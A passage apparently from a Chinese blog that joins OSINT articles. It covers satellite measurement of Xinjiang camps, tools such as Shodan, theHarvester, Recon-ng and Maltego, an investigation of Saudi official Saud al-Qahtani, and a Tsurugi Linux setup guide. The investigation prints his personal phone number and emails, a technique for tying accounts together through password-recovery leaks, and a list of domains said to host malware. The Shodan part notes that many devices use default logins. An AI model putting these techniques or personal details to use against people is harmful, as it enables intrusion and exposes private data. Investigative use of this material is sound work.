从2016年初 ~ 2018年9月，每个季度计算这些设施的建筑面积增长。

在大多数情况下，此过程涉及使用 **Google** 地球图像和 **Digital Globe** 收集的其他商业卫星图像来测量每座建筑物的屋顶面积。

然后通过将屋顶面积乘以每栋建筑物中的楼层数来计算建筑面积。

通过计算显示建筑物立面外部可见的窗户，或者通过分析建筑物所投射阴影的长度，可以估计楼层数。

一些设施还包含新建造的其他建筑物，根据最新的 Digital Globe 影像。对于这些情况，建筑面积是根据 Planet Labs 提供的较低分辨率（3m像素，而不是 30–50cm 像素）的图像来计算的。

在此分析中，未尝试区分用于不同目的的建筑物，每个设施的总面积包括教学楼、行政楼和容纳被拘留者的宿舍。

此外，未尝试确定这些设施首次用作拘留的日期。

对于已改建为所谓的再教育中心的学校或政府建造的住宅之类的设施，我们的测量值代表了当前设施范围内的总建筑面积。

通过对建筑物的测量结果进行相互参照，将这些测量结果转化为按时

间顺序的增长趋势，并通过 Planet Labs 的 Explorer 门户访问每月的卫星图像，以确定每座建筑物的建造或竣工时间。

此分析不包括一些太小而无法在 Planet Lab 的较低分辨率图像中被记录的建筑物，例如单层公用事业建筑物或棚屋。可以在此报告随附的数据库中找到此数据。

然后，使用中文网络搜索结合其他研究人员（主要是德国欧洲文化神学学校的中国安全专家 Adrian Zenz）收集的链接，将设施与地方政府发布的可公开获得的建筑标书进行匹配。

保存这些信息通常需要抓紧时间，避免审查中国网络空间的人删除这些文件。发现并包含在我们数据库中的每个重要文档都已永久在线存档。

最后，该报告借鉴了当地、国家和国际媒体的报道。这些媒体收藏（包括照片、视频和地理数据）被用来进一步确认关键细节，例如每个设施的位置、用途或目的以及物理特征。

—— 结论 ——

中国在新疆建立庞大的洗脑中心网络的速度，让人联想到北京在南海所做的努力。新疆发生的事与中国在南海建立新“岛屿”的速度类似，以至于它给其他国家提供的时间过少难以做出有意义的反应。

该报告清楚地表明了建立这种拘留营的速度。此外，正在建造的结构似乎打算永久使用。令人不寒而栗的是，极少听说有被拘留者被释放的消息。

没有国际上的任何一致性压力，中国政府似乎将继续这种大规模侵犯人权的行为，而不受惩罚。〇

Mapping Xinjiang’s ‘re-education’ camps

ASPI ICPC Xinjiang re-education camp database

广告

原文

开源调查工具：情报地图、“黑客搜索”,及其他 #OSINT - iYouPort

开源情报-每个人都可用的武器

想要更好地深入调查，挖掘信息的工具很重要 —— 有逻辑，有证据

「图」

我们以前在诸多开源调查演示中已经陆续介绍过一些工具，本文专门介绍几种工具，及其有趣的用法。具体如何使用，要看您需要找的证据线索是什么，基于您最完美的逻辑，相信它们都有其最佳用途。在真相如此易于挖掘的当下时代，假消息和阴谋论理论上是没有存在空间的。但最重要的还是，需要更多人行动起来。

开源情报（OSINT）是指来自公共来源的数据集合，用于情报环境，这类信息往往被链接爬行搜索引擎（如谷歌）所忽略，也就是说，大多数时候您无法通过常规搜索获得。此外，按照美国国防部的规定，OSINT 是“从公开获得的信息中产生的，并且可以及时收集，利用和传播给适当的受众，以满足特定的情报需求。”

情报和信息不是同一种东西，我们在前面的文章中简单介绍过。

— — Talos — —

Talos 情报地图是一个世界地图，它可以实时报告全世界电子邮件流量数据。地图是互动的，如果你点击一个指示，就可以深入信息点，例如，通过点击北京方向的蓝色指示来获得下一个图像。

您可以看到网上有很多关于谁产生的电子邮件流量的信息，在这种情况下它是合法流量，但查看垃圾邮件流或恶意软件类型的电子邮件会更有趣，对吧。

首页左上角你会看到一个搜索框，可以搜索实时威胁数据。

在底部的图像中您会看到在美国生成的垃圾邮件呈爆炸状态。

「图」

「图」

这不止是一个地图哦，根据页面顶部的栏目设置，有兴趣的人可以更多地了解所使用的产品和漏洞信息。

— — 卡巴斯基网络威胁实时地图 — —

卡巴斯基网络威胁实时地图显示与公司实时发布的网络攻击方面有关的信息。这是一个三维呈现的地图，显示网络空间和主要威胁。

地图是互动的，所以您可以选择任何一个国家（比如选中国），你能获得一些重要信息，包括与最易受攻击排名中的位置相关联。

地图可以被操控，放大，缩小并提供许多其他信息，尤其是关于攻击类型的信息，很重要。

画面很壮观的。

「图」

— — 入侵检测 — —

Vectra Cognito 平台将人工智能（AI）、深度机器学习和流量监控结合到一个工具中，该工具能够检测其他程序遗漏的威胁，即使它们已经在受保护的网络中根深蒂固。

Cognito 被归类为流量监控工具虽然不是太适合。**Cognito** 更像是一个称职的入侵检测系统（**IDS**）。它展示了面对高级入侵时未来 IDS 系统的运行方式。甚至还有一个威胁搜寻组件，使任何简单的分类变得更加详细。

目前，Cognito 的 brains 仅作为硬件提供。每个设备可以处理多达 500 个传感器的数据，许多组织可能只需要一个。报告由设备编译并发送到仪表板界面，使其在这方面像更传统的安全信息和事件管理（SIEM）控制台。如果需要，Cognito 还可以将其数据发送到许多其他 SIEM 或安全设备。

「图」

— — Shodan — —

Shodan 是一种搜索引擎，被誉为“黑客搜索引擎”，对于研究人员来说，这是一个惊人的金矿，可让用户使用各种过滤器查找连接到互联网的特定类型的设备（网络摄像头，路由器，服务器等）。嗯，就是你知道的那样，可以有*很高效*的用途。有些还将其描述为服务横幅的搜索引擎，这是服务器发送回客户端的元数据。这可以是有关服务器软件的信息、服务支持哪些选项、欢迎消息或客户端在与服务器交互之前可以找到的其他信息。

Shodan 主要收集在 Web 服务器上的数据（ HTTP / HTTPS — 端口 80,8080,443,8443）以及FTP（端口 21），SSH（端口 22），Telnet（端口 23），SNMP（端口 161），SIP（端口 5060），和实时流协议（ RTSP，端口 554）。后者可用于访问网络摄像头及其视频流。

它是由计算机程序员 John Matherly 于 2009 年推出的，他在 2003 年设想了搜索与互联网相关的设备的想法。

Shodan 用户能够找到包括交通信号灯，安全摄像机，家庭供暖系统以及水上乐园，加油站，水厂，电网，核电站和粒子回旋加速器的控制系统；多数有小保安。许多设备使用“admin”作为其用户名，“1234”作为其密码，连接到它们的唯一软件是 Web 浏览器（如果不是这样的用户名和密码，需要稍微花点时间）

该网站专注于 SCADA（监控和数据采集）系统。 Shodan 目前将10 个结果返回给没有帐户的用户，而有账户的用户则能收到 50 个。如果用户想要删除限制，则需要提供理由并支付费用。 Shodan 的主要用户是网络安全专业人员、研究人员和执法机构。虽然社交工程师、**OSINT** 研究人员、网络犯罪分子也可以使用该网站，但一些网络犯罪分子通常可以访问能完成相同任务而无需经过身份检测的僵尸网络。

「图」

SHODAN Diggity — 为SHODAN搜索引擎提供免费，易于使用的扫描界面

SHODAN 查询的批量搜索和处理可以使用 SHODAN Diggity 执行（SearchDiggity 的一部分，Bishop Fox 的免费搜索引擎攻击工具套件）。免费工具通过 SHODAN API 为流行的黑客搜索引擎提供了一个易于使用的扫描界面。

SHODAN Diggity 配备了一个名为 SHODAN Hacking

Database（SHDB）的预制字典文件中的 167 个搜索查询的便捷列表。这本词典有助于针对各种技术，包括网络摄像头、打印机、VoIP 设备、路由器、烤面包机、交换机，甚至 SCADA／工业控制系统（ICS）等等。嗯，细思极恐。不过对于调查来说非常方便。

「图」

SHODAN 黑客警报 — 在阅读器中监控RSS源

「图」

SHODAN 黑客警报 — 创建 RSS 源

网上有很多使用指南，很容易找到。

— — theHarvester — —

这也是个小邪恶的工具，不仅能用于开源调查，也能很方便社交工程攻击的信息收集工作（对于后者，我们会令起篇幅单独介绍）。

TheHarvester 能够收集电子邮件账号、用户名、主机名和子域名等信息。它通过 Google、Bing、PGP、LinkedIn、Baidu、Yandex、People123、Jigsaw、Shodan 等公开资源整理收集这些信息。这些信息将在后期的渗透测试阶段发挥巨大的作用。

这款工具可以帮助渗透测试工作者在渗透测试的早期阶段对目标进行互联网资料采集，同时也可以帮助人们了解自己的个人信息在网络上是否存在。

使用方法和下载很容易找到。

「图」

— — Recon-Ng — —

Recon-Ng 是对目标进行侦察的另一个有用工具，也是内置于 Kali Linux 中的。Recon-ng 具有内置的各种模块，其用法有点类似于 Metasploit。以下是 Kali Linux 上 Recon-ng 的欢迎屏幕。

「图」

Recon-ng 具有各种内置模块。下面显示了一小部分内容：

「图」

可以创建工作区来执行其中的所有操作。只要工作区被创建，用户将被重定向到该工作区。一旦进入工作区，就可以使用添加域「domainname」来指定域。将域添加到重新调用后，重新调用模块可用于提取有关此域的信息。

有一些优秀的模块，比如 bing_domain_Web 和 google_site_web 可以找到与初始目标域相关的其他域。这些域的输出将成为这些搜索引擎的所有索引域。

另一个方便的模块是 bing_linkedin_cache，它可以用来获取与域相关的电子邮件地址，这些地址可以进一步用于执行社交工程。所以，通过其他模块，我们可以获得有关目标的其他信息。

— — Maltego — —

Maltego 由 Paterva 开发，是 Kali Linux 内置工具（附带社区版）。Maltego 可以借助几个内置转换（以及提供编写自定义转换的功能）帮助执行对目标的重要侦察。使用 Maltego，首先用户应该在 Paterva 网站上注册。

注册后，用户可以创建新机器，或者运行机器来实现目标上的变换。配置完成后，需要启动已配置的机器。Maltego 内部有各种脚印，可以抵挡目标。Maltego 会开始使用 Maltego 服务器运行所有转换。

预期的结果可能是域到 IP 的转换已经发生，netblock 将被识别，AS 号码也被识别，还有位置和其他短语。这些都是 Maltego 中的所有图标，并提供了有关所有这些图标的详细信息。研究人员可以继续这个过程来挖掘更多关于目标的信息。

绝对奇妙的工具，通过互联网跟踪单个实体的脚印！

「图」

好啦，如果您还有顺手的好用工具，欢迎在评论中交流。我们一起来想办法，相信没有挖不到证据。为了正义的目标！■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

开源调查揭示肢解华盛顿邮报专栏作家的凶手 - iyouport

Hackingteam开源情报-每个人都可用的武器

【2019年11月5日存档】本文再次涉及追踪细节希望能引起注意 —— 该思路攻防皆可用

沙特王储（Mohammed bin Salman，MBS）的高级顾问 Saud al-Qahtani 以运行皇家宫廷的社交媒体而闻名，并担任 MBS 的首席宣传员和执行人。

至少在他监视沙特阿拉伯记者 Jamal Khashoggi 并实施了谋杀和肢解之前。

在这里看到相关资料：

https://www.iyouport.org/?s=Jamal+Khashoggi

以下是对 al-Qahtani 活动的调查总结。完整的报告可以在这里查看📜。

在2012年和2015年，可认定 **al-Qahtani** 试图从备受争议的意大利间谍软件供应商 **Hacking Team** 采购监控工具。

在这里看到关于 Hacking Team 的档案：https://www.iyouport.org/category/hackingteam/

2015年7月5日，一名黑客泄露了这些文档，窃取并发布了大约400千兆字节的 Hacking Team 内部文件、源代码和电子邮件。

在这里看到对这些泄漏文件的开源调查分析演示《不需要 **hacking** 也能做到窥探你的一切》。

Al-Qahtani 与间谍软件供应商 Hacking Team 的联系似乎已被忽视多年，直到2017年8月29日 —— 当时匿名人士创建了一个阿拉伯语

Twitter 帐户，并开始公布 al-Qahtani 向 Hacking Team 发送电子邮件的摘录。

该帐户使用用户名 @HIAHY、显示名称为 تاريخوذكريات（“历史记录和记忆“），还将 al-Qahtani 使用过的电子邮件地址绑定到了多个在线帐户。

@HIAHY 指出，其中一个电子邮件地址是 saudq1978@gmail.com —— 也用于在流行的黑客网站 Hack Forums 上注册的账户 nokia2mon2 ， 该论坛2011年6月被黑客行动组织 LulzSec 破坏。

主板于2018年8月发布的补充报告显示，泄露的 Hacking Team 邮件中包含两个声称是 al-Qahtani 的人使用的电子邮件地址：s.qahtani@royalcourt.gov.sa 和 saudq@saudq.com。

@HIAHY 和主板都无法明确证明 al-Qahtani 拥有泄露的电子邮件地址，尽管两者都提供了有说服力的间接证据，证明 al-Qahtani 确实与 Hacking Team 通信，并且他是黑客论坛上 nokia2mon2 个人资料的所有者。

本报告分为七个部分：

首先，总结报告的主要发现。

其次，简短的传记图表显示 al-Qahtani 的权力，并总结他参与 Khashoggi 谋杀案的情况。

第三，揭示 al-Qahtani 拥有 Hacking Team 转储电子邮件地址以及之前未报告的移动电话号码 ：+ 966 55 548 9750 —— 这也出现在泄露文档中。

第四，详细研究 al-Qahtani 在黑客论坛的活动。

第五，确定并分析 al-Qahtani 用于恶意目的的先前未报告的网络基础设施。

第六，在第三部分中显示的属于 al-Qahtani 的联系信息用于揭示有关其在线足迹的其他详细信息，包括他创建的虚假社交媒体资料。

最后，报告的结论解决了 al-Qahtani 在 MBS 继续努力压制批评者和持不同政见者方面所起到的作用。

以下是报告的主要发现：

Al-Qahtani 拥有在 Hacking Team 泄漏文档中属于他的联系信息

「图」

Saud bin Abdullah al-Qahtani 于1978年7月7日出生于利雅得，在加入沙特阿拉伯皇家空军军官培训课程之前，他获得了沙特国王大学的法学学士学位。

Al-Qahtani 最终晋升为队长，随后进入纳伊夫阿拉伯安全科学大学，获得刑事司法硕士学位。

Al-Qahtani 的职业生涯开始于在沙特报纸的专栏中推广王室，并以化名“Dhari ضاري”发表民族主义诗歌。

在21世纪初期，沙特皇家法院前负责人 Khaled al-Tuwaijri 聘请 al-Qahtani 管理一支负责保护沙特阿拉伯形象的电子媒体军队。

此后 Al-Qahtani 继续担任政府中的几个重要角色，包括2003年秘书处的法律顾问，当时的王储是阿卜杜拉·本·阿卜杜勒·阿齐兹；2004年的同一秘书处的媒体主任。

到2008年，Al-Qahtani 开始担任皇家媒体监测与分析中心总监；一年后，在2009年，他以 nokia2mon2 的账户加入了 Hack Forums；他还创建了自己的推特账号@ saudq1978。

Saud al-Qahtani 拥有电子邮件地址 saudq1978 @ gmail.com、saud @ saudq.com 和 s.qahtani@royalcourt.gov.sa，以及手机号码 ＋966 55 548 9750。

这证实了 al-Qahtani 在2012年和2015年与 Hacking Team 联系并购买了他们的间谍软件工具。

在2012年和2015年向 Hacking Team 发送邮件的 al-Qahtani 使用的是以下两个电子邮件地址（saudq1978@gmail.com 和 saud@saudq.com）以及可以明确链接的电话号码（＋966 55 548 9750）。

通过谷歌和 Twitter 的密码恢复页面的信息泄露可以证明这点。

延伸《如果只知道一个电话号码，你能挖出多少有效信息？》

同一个人也使用电子邮件地址 s.qahtani@royalcourt.gov.sa 与 Hacking Team 沟通。

由于无法通过密码恢复页面上的信息泄露明确证明 al-Qahtani 对此电子邮件地址的所有权，本报告高度自信地判断 s.qahtani@royalcourt.gov.sa 是 al-Qahtani 的官方政府电子邮件地址。

部分原因是2015年6月与 Hacking Team 代表的通信，同时使用了 s.qahtani@royalcourt.gov.sa 和 al-Qahtani的saud@saudq.com 地址。这证明了两个账户的共同所有者。

2015年6月29日，Hacking Team 创始人兼首席执行官 David Vincenzetti 收到了来自 s.qahtani@royalcourt.gov.sa 的电子邮件。

发件人要求 Vincenzetti 通过移动加密消息应用程序 Threema 或 Telegram 与其联系，并称“在我的私人移动电话（＋966 55 548 9750）：

在正确附加他的 PGP 密钥之后，s.qahtani@royalcourt.gov.sa 背后的个人于2015年6月30日向 Hacking Team 客户代表 Emad Shehata 发送了一封电子邮件，并描述 saud@saudq.com 为他的私人电子邮件地址：

「图」

Gmail 链接到与 Twitter 相同的 Al-Qahtani 电话号码和电子邮件

「图」

Al-Qahtani 还拥有电子邮件地址 saudq1978@gmail.com，这是基于 Google 密码恢复功能的信息泄露，该功能显示该 Gmail 帐户已连接到 al-Qahtani 的电话号码 ＋966 55 548 9750：

与 Twitter 的密码恢复功能一样，如果提供与 al-Qahtani 帐户无关的电话号码会返回错误。

同样的技术表明 al-Qahtani 的 saud@saudq.com 电子邮件地址也与

saudq1978@gmail.com相关联：

根据 Whois 记录，al-Qahtani 稍后用于在2015年再次联系 Hacking Team 的 royalcourt.gov.sa ，直到2013年6月才创建：

Al-Qahtani 至少注册了22个域名，其中一些用于恶意软件、DDoS 攻击

「图」

自2009年以来，Al-Qahtani 至少注册了22个域名，其中一些域名被用作恶意软件的命令和服务器控制：

- aldewan-almalaky[.]com
- aldewan-sa[.]com
- aldewanalmalaky[.]com
- aldewanksa[.]com
- aldewannews[.]com
- dewanmalaky[.]com
- fahadserver[.]com
- jasmn[.]info
- ksa-aldewan-almalaky[.]com
- kt-library[.]com
- m-d-sa-news[.]com
- markaz-dewan[.]com
- markaz-dewan[.]net
- markaz-royal[.]com
- markaz-royal[.]net
- royalcourt-ksa[.]com
- royalcourt-sa[.]com
- royalcourt-saudi-arabia[.]com
- sa-aldewan-almalaky[.]com
- saudidewan[.]com
- saudq[.]com
- saudqq[.]com

例如，al-Qahtani 使用 markaz-royal [.] net 的几个子域来托管恶意有效载荷，并被检测为运行恶意软件，如 Blackshades 和 Darkness / Optima。

主机 nokia2mon2.markaz-royal [.] net 被列入由 FBI 确定的参与 Blackshades 活动的超过 13,000 个主机的列表中，并且还被观察到为托管 shell 引导程序，允许受感染的网站用于 DDoS 攻击。

另一个子域 saud4.markaz-royal [.] net 托管了**Optima** 恶意软件，基于网站时光机快照，还捕获了 Optima 的俄语常见问题解答页面和 Optima 控制面板的登录页面：

2016年9月和2016年10月，Wayback Machine 保留了 saudqq [.] com主机上托管的文本文件的两次迭代，包括双因素身份验证代码、登录通知和其他通讯，发送到加拿大各地大约十几个电话号码。

2016年9月捕获的信息显示12条SMS消息传输到加拿大号码的日志，区号为魁北克（450）和曼尼托巴（204）。

这些消息是从加拿大的号码发送的，区号分别为安大略省（289,705），多伦多（647），蒙特利尔（438）和艾伯塔省（403）。

除了一个 Google 验证码之外（个人识别信息已被编辑），其他所有邮件都是 **WhatsApp** 验证码：

延伸：邮箱和手机验证都不安全《如何不暴露手机号、不花钱，实现双因素身份验证？》

2016年10月的捕获包含142条SMS消息，所有消息都以魁北克区号 450 发送到加拿大的号码。

只有五个号码被定位 —— 其中两个发送过一次；另一个被使用了 17 次；还有一个被使用了 47 次；另外一个达到了 76 次。

传输消息的具体内容差异很大。⚠显示为身份验证代码接受的对口方包括：Coinbase，WeChat，Instagram，Microsoft，VK，WhatsApp，Steam，AirBnB，Viber 和 AOL。

好吧，这就是生活全景图。看到微信？

有些消息包含安全警告：

- “有人正在编辑 Microsoft 帐户 [redacted]@gmail.com 的安全信息。这是您的操作吗？

https://account.live

- [.] COM ”
- “验证码：***。该代码仅用于移除微信的限制。不要与任何人分享”。
- “Microsoft 帐户存在异常登录，请在 https://account上查看。

除了英语之外，这些消息还有六种不同的语言：

- Arabic (“رمز التفعيل لحسابك في شابك هو”)
- Chinese (“您申请的手机验证码是： [redacted]，请输入后进行验证，谢谢 ！”)
- Thai (“ใช้ [redacted] เพื่อตรวจสอบยืนยันบัญชีผู้ใช้ Instagram ของคุณ”)
- Russian (“VK: Код подтверждения для входа на Вашу страницу ВКонтакте: [redacted]”
- French (“Collectionnez 6 bonus & vos 90% de l’offre du jour chez JackpotCity. RDV sur www.jpcw[.]in avec sugarmine. Contactez-nous pour desinscription”)
- Spanish (“Usa el código [redacted] para quitar este teléfono de tu cuenta”)

Al-Qahtani 在注册几乎所有这些应用时表现出极差的操作安全性。

⚠除了三个（saudq.com，saudqq.com 和 jasmn.info）以外的所有 Whois 记录都包括他的个人电子邮件地址（saudq1978@gmail.com）手机号码（＋966 55 548 9750）或其真实姓名的变体。

很糟糕的安全意识。

Al-Qahtani 积极参与黑客论坛、购买间谍软件

「图」

确认 saudq1978@gmail.com 归 al-Qahtani 所有，确认在该电子邮件地址注册的黑客论坛帐户 nokia2mon2 也属于 al-Qahtani。

Al-Qahtani 是黑客论坛的活跃用户，在2009年7月至2016年9月之间发布了超过500次。

除其他事项外，al-Qahtani 还在黑客论坛上的帖子详细介绍了他购买和使用的黑客工具和服务、以及他所针对的社交媒体平台和移动应用程序。

到2011年6月，加入论坛后不到两年，他估计自己拥有90%的付费和免费RAT。

他自己也承认过至少三次在醉酒状态下讨论与黑客无关的话题，例如宗教在政治和对伊朗政策中的作用。

「图」

当他在黑客论坛上活跃时，Al-Qahtani 至少三次成为诈骗的受害者，并且在2015年12月，他的帐户短暂被黑客入侵。

当他重新控制自己的帐户时，他建议论坛的其他成员启用双因素身份验证。

试图聘请 DDoS 专业人士来管理僵尸网络

「图」

与 RAT 一样，al-Qahtani 在黑客论坛上说他购买并使用了“几乎全部”DDoS机器人。吹牛逼的后果就是这样。

他使用的 DDoS 机器人和 DDoS 租用服务包括：

- D-Doser (versions 3.6 and 4.2)
- ChickenX Shell Shop
- Optima
- 3vBot
- Tippy’s DDOS service
- OncleSam DDOS service

2009年10月，在他加入论坛几个月后，al-Qahtani 为熟悉DDoS攻击的人发布了一则广告，提供每月500美元的薪水：

在没有人回复之后，他将工资提高到每月700美元。

一年后，在2010年9月，他又发布了消息称他需要一个好的管理员，他愿意每个月支付500美元。他要求在美国、加拿大、英国、沙特阿拉伯、科威特、迪拜和 “eurobek” 托管5000个机器人。

使用 PayPal 支付

「图」

al-Qahtani 在他的第一篇黑客论坛帖子中写道，他使用 PayPal 从用户 stronger7 那里购买恶意软件。

他在至少十几个其他帖子中提到使用 PayPal 进行各种购买。在2016年4月的一篇文章中，他指出他只能通过 PayPal 或 Visa 付款。

根据 PayPal 密码恢复站点的信息泄漏，saudq1978@gmail.com 连接到一个 PayPal 帐户，该帐户链接到以10结尾的 Visa 和以下部分编辑过的电话号码：5 * *** * 750，与 al-Qahtani 的沙特电信公司手机号码相对应：+ 966 55 548 9750。

在2010年12月的一篇文章中，al-Qahtani 写道他将通过“pp only”付款，指的是 PayPal。他还提供了一个新的电子邮件地址：nokia2mon2@hotmail.com

他在两个月前的2010年10月至少又发过一次电子邮件地址，当时他要求卖方将 Windows 服务器漏洞利用添加给他。

地址与在此调查过程中未被识别的电话号码（******** 72）和电子邮件地址（al*****@hotmail.com）相关联。

支付1,500美元用于 Hotmail 帐户的Hack

「图」

Al-Qahtani 聘请黑客论坛的成员攻击特定的 Hotmail 帐户并向他提供凭据。

2010年10月，他开始提供支付300美元攻击 Hotmail 帐户。

十天后，他写道，许多用户尝试过但未能破解帐户。“我没有关于该帐户的任何信息，只有帐户ID，如果任何人可以这样做到请联系我。”

2012年3月，al-Qahtani 发起了一个新的请求，要求破解三个 Hotmail 账户，为每个账户支付500美元。

他在六天后编辑了这个帖子，表明他的成功：“交易已完成”。

尝试破解无线网络

「图」

在2011年开始，Al-Qahtani 表示有兴趣破解无线网络（例如 Wi-Fi）。

2011年9月，他回应了一个名为“Middle”的用户的帖子，他提出出售黑客技能或者教他人攻击技巧。

Al-Qahtani 写道，Middle 给了他关于无线网络破解的“很好的知识”。

延伸《为什么你不应该使用Wi-Fi》

两个月后，在2011年11月，al-Qahtani 开始了一个新的帖子，解释说无线破解工具 Pyrit 操作失败，并向任何人提供20美元“帮我解释为什么 pyrit 失败，或者提供帮助”。

Al-Qahtani 表示他正在使用 BackTrack 5 R —— 这是渗透测试工具 Kali Linux 的前身。几天后，他发布了一个帖子，寻求密码破解工具 oclHashcat。

寻求iOS间谍软件

「图」

在2014年和2015年，al-Qahtani 要求为 Apple 产品提供黑客工具。

2014年3月，他发布了一个帖子，询问是否存在任何可能感染 Mac 的 RAT。

一些用户提到了 jRAT，但告知该工具不再被出售。正如通常的情况一样，al-Qahtani 的请求是紧急的：“还有任何其他的选择??????我现在就需要！”

同年10月，一位名叫“Sam Sung”的用户开始了一个帖子，他描述在他朋友的 iPhone 5 上看到一个间谍软件应用程序。

几乎可以肯定这是一个骗局帖子，Sam Sung 说他试图在网上找到该间谍软件，但他的朋友说，开发商希望保持低调。

Al-Qahtani 是第一个评论这条骗局帖子的人，他写道，“如果你发现了它，我会买，如果它能起作用，你会给你奖金”。Sam Sung 第二天回复说，“嗨，是的，我发现了，请私信我你的 Skype”。

在 LinkedIn、Facebook 上创建假账户

「图」

使用 al-Qahtani 拥有的联系信息，可以识别与他相关的其他联系信息，并识别出与这些电子邮件地址和电话号码相关联的多个帐户。

他有一个 LinkedIn 高级帐户，名为 “saud a”（al-Qahtani 的中间名是Abdullah），在那里他称自己为沙特阿拉伯的“猎头”。

延伸《把 LinkedIn 作为情报挖掘工具：简易指南》。

他在职业生涯结束时以亲穆巴拉克“埃及公民”的角色创建了一个假的 Facebook 个人资料，并且还有 Snapchat、WhatsApp 和 Signal 账号。

结论

「图」

MBS 的压制机器还活着，这主要是因为特朗普政府拒绝让沙特强人和他的政权承担责任。

延伸《两个数字告诉你为什么特朗普不会制裁沙特》

王储的得力助手 Saud al-Qahtani 在沙特阿拉伯的恐吓活动中继续发挥作用的程度尚不清楚。

沙特政府尚未公开讨论他的行踪，虽然在私下，沙特官员声称他被“软禁”。

然而，多家媒体都引用消息人士的话说，他仍然受到**MBS**的青睐，并继续以类似的身份工作，就像以前一样。

在2019年1月，华盛顿邮报报道在利雅得皇家宫廷的办公室里看到了al-Qahtani。

同月，“华盛顿邮报”专栏作家 David Ignatius 报道说，MBS 经常与

al-Qahtani 接触，后者最近与该中心的高级代表会面，引用了美国和沙特的消息来源。

2019年4月，一位消息人士告诉“卫报”，MBS仍然忠于 al-Qahtani，他正在“积极参与”类似于他担任该中心负责人的角色，现在就在MBS的私人办公室内。

卫报此前的消息被后来 al-Qahtani 签署的保密内部命令的曝光所证实。

这份日期为2019年3月7日的文件以阿拉伯文写成，并指示“技术部门负责人”从MBS私人办公室的网络安全理事会开始，以“实施对卫报服务器的渗透。负责处理已发布报告的人应该以完全保密的方式处理该问题，然后尽快向我们发送所有数据。”

请注意，Al-Qahtani 不是沙特因谋杀 Khashoggi 而面临审判的被公开的11名嫌疑人之一。

2019年6月19日，联合国法外处决问题特别报告员 Agnes Callamard 发表了一篇关于 Khashoggi 死亡的报告，称其为沙特国家“有预谋的法外处决”。

报告说：“对他的杀戮是精心策划的结果，涉及广泛的协调和重要的人力和财力资源。它受到高级官员的监督、计划和认可。这是有预谋的。”

该报告特别指出：al-Qahtani 和 MBS 做为两名高级官员，他们没有受到任何刑事指控，但有“可信的证据值得进一步调查”。

Callamard 于2019年6月27日向联合国人权理事会提交了这份调查结果，Khashoggi 的未婚妻 Hatice Cengiz 也在理事会发言。

这份报告中的调查结果并非详尽无遗，对 al-Qahtani 网络基础设施的研究仍在进行中。一定要看完整版在这里。〇

原文

强大能力，并给自己创建一个安全私密的调查环境：简易教程 - iYouPort

开源情报-每个人都可用的武器

爽货，您值得一试

「图」

「图」

Inquisitor H3x 推荐了一个工具：Tsurugi Linux，这是专为DFIR / 开源情报调查而定制和设计的发行版。它还具有恶意软件分析以及其他工具。

效果很不错，您值得尝试下。他介绍了使用方法，在这里看到原文《Tsurugi — Setting Up Your Environment》

☞创建一个纯粹用于开源情报调查的环境；帮助您学习开源情报技术，而不必担心感染或破坏自己的笔记本电脑。当然，也为您提供了一定程度的隐私。

现在，由于虚拟机的可用性，您不必去寻找旧笔记本电脑或完全擦除当前设备也能开始调查工作。

这就是 Tsurugi 值得您拥有的原因。

Tsurugi 的优点是，它已经在虚拟机中设置了大多数基本工具，可以直接进入 **OSINT** 和 **DFIR**。

Inquisitor H3x 介绍了如何安装 Tsurugi 的分步指南；还将向您展示如何连接虚拟机和主机。这样，您可以在两者之间移动资源。这也将有助于为任何调查工作/项目保持专用的环境。

Tsurugi（剑）是日本古代使用的双刃剑。

开始：虚拟机**—VirtualBox / VMware**

「图」

「图」

如果尚未安装，请先安装。本指南将使用 VirtualBox；还建议为 VirtualBox 安装扩展包。

- 具体操作介绍见《广泛的数据收集不是目的，能回答问题才是：一个可随身携带的强大工具协助深入调查》

完成此操作后，转到 Tsurugi 并下载ISO镜像。当前版本是 “tsurgi_lab_2019.2.iso”

Tsurugi 有三个主要发行版本。对于本指南，请使用 TSURUGI Linux [LAB]。

「图」

「图」

完成此操作后继续安装 Tsurugi。

步骤**2**：添加新的虚拟机

点击添加 “NEW” 图标。

「图」

「图」

将出现以下窗口：

「图」

「图」

Type—Linux / Version—Debain(64-bit).

完成此操作后，现在将开始安装和设置虚拟机的过程。

步骤**3**：设置

分配您希望虚拟机拥有的RAM数量。

「图」

「图」

步骤**4**：硬盘

选择 “立即创建虚拟硬盘”。

「图」

「图」

步骤**5**：硬盘文件类型

选择 “VDI VirtualBox Disk Image.

「图」

「图」

步骤**6**：存储在物理硬盘上

选择 “Dynamically allocated”.

「图」

「图」

步骤**7**：文件位置和大小

选择您希望虚拟机拥有多少内存。 *请记住，Tsurrugi 将需要至少30GB的安装空间。本示例为此虚拟机分配了249GB（您可能不需要这么多）。

完成此操作后，选择“创建”。

「图」

「图」

现在，您已经安装了虚拟机；但是，需要在启动虚拟机之前对其进行设置。

第二部分：设置虚拟机

在继续之前，请确保您已完成上述步骤。

步骤**1**：设定虚拟机

选择您刚刚创建的虚拟机，然后选择 “设置”。

「图」

「图」

步骤**2**：文件夹设定

在“常规”标签下，选择高级，然后输入以下内容：

Snap Folder：选择要将文档和相关数据从VM保存到的文件位置。

Shared Clipboard：选择“双向”。

Drag’n’Drop：禁用。

「图」

「图」

步骤**3**：共享文件夹

单击带有加号的文件夹。

下面的窗口将打开：

「图」

「图」

选择 “自动安装”，然后单击 “Folder Path”。

下面的窗口将打开：

「图」

「图」

创建一个文件。本案例创建了一个名为 OSINT Resources 的资源，这是您将数据和“证据/资源”保存到的位置。

选择位置后，点击“确定”。

步骤**4**：添加**ISO**镜像

在“存储”选项卡下，选择 “Controller: IDE.” 下的选项卡。

在“属性”选项卡下，选择“光盘驱动器”，然后选择您下载的ISO镜像（tsurgi_lab_2019.2.iso）。

「图」

「图」

现在该启动虚拟机了。别急，很快就能实现。

第三部分：启动虚拟机

步骤1：启动虚拟机

完成上述步骤后，返回主屏幕并启动虚拟机。

将出现以下窗口：

「图」

「图」

步骤**2**：从虚拟机安装 **Tsurugi**

加载虚拟机后，双击显示 “ Install Tsurugi 2019.1” 的红色图标（您可能会看到 “ Install Tsurugi 2019.2”）。

「图」

「图」

步骤**3**：进入安装屏幕

在以下选项中，选择所需的所有选项。

「图」

「图」

「图」

「图」

「图」

「图」

现在应该安装虚拟机。

「图」

「图」

步骤**4**：重新启动虚拟机

虚拟机完成安装后，选择“立即重新启动”。

「图」

「图」

步骤**5**：登录到您的虚拟机

重新启动后，应该显示为下面这样，带有您选择的用户名。

「图」

「图」

步骤**6**：安装 **Guest Additions CD** 映像

